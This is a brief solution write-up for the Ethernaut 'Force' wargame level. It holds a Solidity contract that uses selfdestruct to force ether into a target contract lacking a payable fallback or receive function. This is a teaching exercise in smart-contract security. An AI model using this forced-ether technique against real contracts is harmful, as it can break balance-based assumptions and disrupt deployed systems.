Ethernaut 7: Force

pragma solidity ^0.6.0;

contract ForceAttack {
constructor () payable public {}

One way of forcing ether upon a contract which does not have a payable fallback or receive function is to self-destruct specifying the target contract as recipient of any remaining ether.

    function forceSendEther (address target) public {
selfdestruct(payable(target));
}
}